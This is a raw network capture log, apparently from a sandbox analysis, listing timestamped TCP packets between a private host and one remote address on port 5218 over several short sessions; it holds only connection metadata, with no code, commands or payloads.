May 25, 2022 16:33:43.563543081 CEST	5218	49843	23.105.131.228	192.168.11.20
May 25, 2022 16:33:43.563549042 CEST	49843	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:43.563690901 CEST	49843	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:47.328119040 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:47.585274935 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:47.585644960 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:47.586034060 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:47.891938925 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:47.892221928 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:47.960212946 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:47.960385084 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:48.194586039 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:48.194819927 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:48.258872032 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:48.259228945 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:48.456116915 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:48.456315994 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:48.564958096 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:48.565221071 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:48.761794090 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:48.762005091 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:48.869172096 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:48.869730949 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:48.942408085 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:48.942568064 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:48.942706108 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:48.942771912 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:48.945512056 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:48.945599079 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:48.945785999 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:48.945852995 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:48.951253891 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:48.951523066 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:48.953068972 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:48.953166962 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:48.953336954 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:48.953402042 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:48.970395088 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:48.970514059 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:48.970608950 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:48.970786095 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:48.970854044 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.118694067 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.119198084 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.199331045 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.199671030 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.199939966 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.201008081 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.201239109 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.211738110 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.211822033 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.211972952 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.212024927 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.212899923 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.212986946 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.213198900 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.213787079 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.214021921 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.214077950 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.214159966 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.214209080 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.214299917 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.214394093 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.231637955 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.231704950 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.231770039 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.231859922 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.231961966 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.232052088 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.232110023 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.232217073 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.232264996 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.232285976 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.232364893 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.232413054 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.232485056 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.232508898 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.232664108 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.234107018 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.234314919 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.236478090 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.236777067 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.421890974 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.422646046 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.424185991 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.459820032 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.459882975 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.460115910 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.461261034 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.461424112 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.461466074 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.461565971 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.492281914 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.492562056 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.492643118 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.492722988 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.492834091 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.492912054 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.498641968 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.498852968 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.498922110 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.499001026 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.499049902 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.499171972 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.499187946 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.499238968 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.499361038 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.501616001 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.501724958 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.501981974 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.502062082 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.502114058 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.502152920 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.502295017 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.506555080 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.506622076 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.506685972 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.506803036 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.506858110 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.507848024 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.508120060 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.508272886 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.508354902 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.508402109 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.508738995 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.509042978 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.514503956 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.515023947 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.515791893 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.516057014 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.516144037 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.516220093 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.516294956 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.516316891 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.516395092 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.516459942 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.516470909 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.516577005 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.516622066 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.516720057 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.516776085 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.516859055 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.516932011 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.516943932 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.517016888 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.517132044 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.517133951 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.517214060 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.517287970 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.517332077 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.517354965 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.517445087 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.517447948 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.517590046 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.517947912 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.518208027 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.519409895 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.519638062 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:49.520654917 CEST	5218	49844	23.105.131.228	192.168.11.20
May 25, 2022 16:33:49.520806074 CEST	49844	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:53.452159882 CEST	49845	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:53.704338074 CEST	5218	49845	23.105.131.228	192.168.11.20
May 25, 2022 16:33:53.704669952 CEST	49845	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:53.705193043 CEST	49845	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:54.007361889 CEST	5218	49845	23.105.131.228	192.168.11.20
May 25, 2022 16:33:54.007715940 CEST	49845	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:54.047385931 CEST	5218	49845	23.105.131.228	192.168.11.20
May 25, 2022 16:33:54.094841003 CEST	49845	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:54.306691885 CEST	5218	49845	23.105.131.228	192.168.11.20
May 25, 2022 16:33:54.306894064 CEST	49845	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:54.569384098 CEST	5218	49845	23.105.131.228	192.168.11.20
May 25, 2022 16:33:54.569796085 CEST	49845	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:54.892635107 CEST	5218	49845	23.105.131.228	192.168.11.20
May 25, 2022 16:33:54.892819881 CEST	49845	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:55.202683926 CEST	5218	49845	23.105.131.228	192.168.11.20
May 25, 2022 16:33:55.203324080 CEST	49845	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:55.322307110 CEST	5218	49845	23.105.131.228	192.168.11.20
May 25, 2022 16:33:55.322365999 CEST	5218	49845	23.105.131.228	192.168.11.20
May 25, 2022 16:33:55.322546005 CEST	5218	49845	23.105.131.228	192.168.11.20
May 25, 2022 16:33:55.322550058 CEST	49845	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:55.322726965 CEST	49845	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:55.324443102 CEST	5218	49845	23.105.131.228	192.168.11.20
May 25, 2022 16:33:55.324484110 CEST	5218	49845	23.105.131.228	192.168.11.20
May 25, 2022 16:33:55.324704885 CEST	49845	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:55.328460932 CEST	5218	49845	23.105.131.228	192.168.11.20
May 25, 2022 16:33:55.328788996 CEST	49845	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:55.333141088 CEST	5218	49845	23.105.131.228	192.168.11.20
May 25, 2022 16:33:55.333420038 CEST	49845	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:55.333647013 CEST	5218	49845	23.105.131.228	192.168.11.20
May 25, 2022 16:33:55.333851099 CEST	49845	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:55.335167885 CEST	5218	49845	23.105.131.228	192.168.11.20
May 25, 2022 16:33:55.335462093 CEST	49845	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:55.336082935 CEST	5218	49845	23.105.131.228	192.168.11.20
May 25, 2022 16:33:55.336905956 CEST	49845	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:55.542351961 CEST	5218	49845	23.105.131.228	192.168.11.20
May 25, 2022 16:33:55.542675018 CEST	49845	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:55.563383102 CEST	49845	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:55.595302105 CEST	5218	49845	23.105.131.228	192.168.11.20
May 25, 2022 16:33:55.595593929 CEST	49845	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:55.596543074 CEST	5218	49845	23.105.131.228	192.168.11.20
May 25, 2022 16:33:55.596604109 CEST	5218	49845	23.105.131.228	192.168.11.20
May 25, 2022 16:33:55.596730947 CEST	49845	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:55.596781969 CEST	49845	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:55.596903086 CEST	5218	49845	23.105.131.228	192.168.11.20
May 25, 2022 16:33:55.596982956 CEST	5218	49845	23.105.131.228	192.168.11.20
May 25, 2022 16:33:55.597054958 CEST	49845	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:55.597132921 CEST	49845	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:55.597151995 CEST	5218	49845	23.105.131.228	192.168.11.20
May 25, 2022 16:33:55.597227097 CEST	5218	49845	23.105.131.228	192.168.11.20
May 25, 2022 16:33:55.597274065 CEST	5218	49845	23.105.131.228	192.168.11.20
May 25, 2022 16:33:55.597306967 CEST	49845	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:55.597388029 CEST	49845	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:55.597465992 CEST	49845	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:55.597572088 CEST	5218	49845	23.105.131.228	192.168.11.20
May 25, 2022 16:33:55.597636938 CEST	5218	49845	23.105.131.228	192.168.11.20
May 25, 2022 16:33:55.597700119 CEST	5218	49845	23.105.131.228	192.168.11.20
May 25, 2022 16:33:55.597721100 CEST	49845	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:55.597765923 CEST	5218	49845	23.105.131.228	192.168.11.20
May 25, 2022 16:33:55.597790003 CEST	49845	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:55.597852945 CEST	5218	49845	23.105.131.228	192.168.11.20
May 25, 2022 16:33:55.597907066 CEST	49845	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:55.597953081 CEST	49845	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:55.597990990 CEST	5218	49845	23.105.131.228	192.168.11.20
May 25, 2022 16:33:55.598038912 CEST	49845	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:55.598134041 CEST	5218	49845	23.105.131.228	192.168.11.20
May 25, 2022 16:33:55.598222017 CEST	49845	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:55.598294020 CEST	49845	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:55.598493099 CEST	5218	49845	23.105.131.228	192.168.11.20
May 25, 2022 16:33:55.598644018 CEST	49845	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:55.598654985 CEST	5218	49845	23.105.131.228	192.168.11.20
May 25, 2022 16:33:55.598915100 CEST	49845	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:55.599996090 CEST	5218	49845	23.105.131.228	192.168.11.20
May 25, 2022 16:33:55.600586891 CEST	49845	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:55.600745916 CEST	5218	49845	23.105.131.228	192.168.11.20
May 25, 2022 16:33:55.601130009 CEST	49845	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:55.630096912 CEST	5218	49845	23.105.131.228	192.168.11.20
May 25, 2022 16:33:55.630299091 CEST	49845	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:59.591767073 CEST	49846	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:59.916949034 CEST	5218	49846	23.105.131.228	192.168.11.20
May 25, 2022 16:33:59.917213917 CEST	49846	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:59.917803049 CEST	49846	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:00.212112904 CEST	5218	49846	23.105.131.228	192.168.11.20
May 25, 2022 16:34:00.212347984 CEST	49846	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:00.297127962 CEST	5218	49846	23.105.131.228	192.168.11.20
May 25, 2022 16:34:00.343477011 CEST	49846	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:00.546674013 CEST	5218	49846	23.105.131.228	192.168.11.20
May 25, 2022 16:34:00.546886921 CEST	49846	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:00.803745985 CEST	5218	49846	23.105.131.228	192.168.11.20
May 25, 2022 16:34:00.803956032 CEST	49846	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:01.181602955 CEST	5218	49846	23.105.131.228	192.168.11.20
May 25, 2022 16:34:01.181760073 CEST	49846	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:01.557907104 CEST	5218	49846	23.105.131.228	192.168.11.20
May 25, 2022 16:34:01.558245897 CEST	49846	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:01.647691011 CEST	5218	49846	23.105.131.228	192.168.11.20
May 25, 2022 16:34:01.647777081 CEST	5218	49846	23.105.131.228	192.168.11.20
May 25, 2022 16:34:01.647840023 CEST	5218	49846	23.105.131.228	192.168.11.20
May 25, 2022 16:34:01.648186922 CEST	49846	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:01.648288012 CEST	49846	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:01.649379969 CEST	5218	49846	23.105.131.228	192.168.11.20
May 25, 2022 16:34:01.649748087 CEST	49846	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:01.653373003 CEST	5218	49846	23.105.131.228	192.168.11.20
May 25, 2022 16:34:01.653696060 CEST	49846	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:01.655385971 CEST	5218	49846	23.105.131.228	192.168.11.20
May 25, 2022 16:34:01.655471087 CEST	5218	49846	23.105.131.228	192.168.11.20
May 25, 2022 16:34:01.655683994 CEST	49846	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:01.671664000 CEST	49846	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:01.712384939 CEST	5218	49846	23.105.131.228	192.168.11.20
May 25, 2022 16:34:01.712470055 CEST	5218	49846	23.105.131.228	192.168.11.20
May 25, 2022 16:34:01.712532997 CEST	5218	49846	23.105.131.228	192.168.11.20
May 25, 2022 16:34:01.712878942 CEST	49846	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:01.712979078 CEST	49846	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:02.063791037 CEST	5218	49846	23.105.131.228	192.168.11.20
May 25, 2022 16:34:02.063882113 CEST	5218	49846	23.105.131.228	192.168.11.20
May 25, 2022 16:34:02.063947916 CEST	5218	49846	23.105.131.228	192.168.11.20
May 25, 2022 16:34:02.064029932 CEST	49846	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:02.064146996 CEST	49846	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:02.064320087 CEST	49846	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:02.065512896 CEST	5218	49846	23.105.131.228	192.168.11.20
May 25, 2022 16:34:02.065598965 CEST	5218	49846	23.105.131.228	192.168.11.20
May 25, 2022 16:34:02.065661907 CEST	5218	49846	23.105.131.228	192.168.11.20
May 25, 2022 16:34:02.065743923 CEST	49846	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:02.065859079 CEST	49846	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:02.066031933 CEST	49846	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:02.084980011 CEST	5218	49846	23.105.131.228	192.168.11.20
May 25, 2022 16:34:02.085081100 CEST	5218	49846	23.105.131.228	192.168.11.20
May 25, 2022 16:34:02.085140944 CEST	5218	49846	23.105.131.228	192.168.11.20
May 25, 2022 16:34:02.085170031 CEST	49846	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:02.085216999 CEST	5218	49846	23.105.131.228	192.168.11.20
May 25, 2022 16:34:02.085297108 CEST	5218	49846	23.105.131.228	192.168.11.20
May 25, 2022 16:34:02.085340023 CEST	49846	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:02.085354090 CEST	49846	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:02.085355043 CEST	5218	49846	23.105.131.228	192.168.11.20
May 25, 2022 16:34:02.085526943 CEST	5218	49846	23.105.131.228	192.168.11.20
May 25, 2022 16:34:02.085561991 CEST	49846	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:02.085741997 CEST	49846	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:02.085802078 CEST	49846	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:02.085854053 CEST	49846	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:02.087192059 CEST	5218	49846	23.105.131.228	192.168.11.20
May 25, 2022 16:34:02.087450981 CEST	49846	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:05.697534084 CEST	49847	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:05.952244997 CEST	5218	49847	23.105.131.228	192.168.11.20
May 25, 2022 16:34:05.952594042 CEST	49847	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:05.952771902 CEST	49847	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:06.257179976 CEST	5218	49847	23.105.131.228	192.168.11.20
May 25, 2022 16:34:06.257419109 CEST	49847	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:06.388801098 CEST	5218	49847	23.105.131.228	192.168.11.20
May 25, 2022 16:34:06.389148951 CEST	49847	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:06.551614046 CEST	5218	49847	23.105.131.228	192.168.11.20
May 25, 2022 16:34:06.551803112 CEST	49847	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:06.705635071 CEST	5218	49847	23.105.131.228	192.168.11.20
May 25, 2022 16:34:06.705902100 CEST	49847	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:06.819156885 CEST	5218	49847	23.105.131.228	192.168.11.20
May 25, 2022 16:34:06.873198986 CEST	49847	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:07.008846045 CEST	5218	49847	23.105.131.228	192.168.11.20
May 25, 2022 16:34:07.009145021 CEST	49847	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:07.319178104 CEST	5218	49847	23.105.131.228	192.168.11.20
May 25, 2022 16:34:07.319394112 CEST	49847	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:07.417650938 CEST	5218	49847	23.105.131.228	192.168.11.20
May 25, 2022 16:34:07.417998075 CEST	49847	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:07.419986963 CEST	5218	49847	23.105.131.228	192.168.11.20
May 25, 2022 16:34:07.420078039 CEST	5218	49847	23.105.131.228	192.168.11.20
May 25, 2022 16:34:07.420126915 CEST	5218	49847	23.105.131.228	192.168.11.20
May 25, 2022 16:34:07.420205116 CEST	49847	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:07.420255899 CEST	49847	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:07.420326948 CEST	49847	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:07.420948982 CEST	5218	49847	23.105.131.228	192.168.11.20
May 25, 2022 16:34:07.421030998 CEST	5218	49847	23.105.131.228	192.168.11.20
May 25, 2022 16:34:07.421127081 CEST	5218	49847	23.105.131.228	192.168.11.20
May 25, 2022 16:34:07.421147108 CEST	49847	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:07.421197891 CEST	49847	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:07.421353102 CEST	49847	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:07.422622919 CEST	5218	49847	23.105.131.228	192.168.11.20
May 25, 2022 16:34:07.422687054 CEST	5218	49847	23.105.131.228	192.168.11.20
May 25, 2022 16:34:07.422736883 CEST	5218	49847	23.105.131.228	192.168.11.20
May 25, 2022 16:34:07.422785997 CEST	49847	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:07.422902107 CEST	49847	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:07.795146942 CEST	49847	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:07.795224905 CEST	49847	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:07.801296949 CEST	5218	49847	23.105.131.228	192.168.11.20
May 25, 2022 16:34:07.801398039 CEST	5218	49847	23.105.131.228	192.168.11.20
